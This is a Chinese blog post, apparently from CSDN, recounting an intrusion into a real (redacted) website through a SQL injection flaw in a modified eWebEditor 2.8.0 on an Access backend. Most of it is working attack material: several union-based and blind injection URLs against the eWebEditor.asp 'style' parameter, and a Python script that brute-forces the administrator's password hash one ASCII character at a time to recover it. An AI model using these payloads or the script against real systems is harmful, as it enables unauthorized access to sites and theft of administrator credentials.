某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )

某网站后台是用的   蓝滨新闻系统精简加强版 即如图:


可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码,找这个系统的漏洞。

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 

可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,破解就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举:

kn.py

#encoding:UTF-8
import requests
##定义 n:找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 (=317)
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行:



获取了十六位的ASC II 码后,就可以根据这个表


进行转换,然后得到密码md5值


阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/Knove/article/details/79946318
文章标签: 渗透
个人分类: 渗透
上一篇CentOS安装 Spring boot +mysql 项目
下一篇一些好用的 Node 包
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭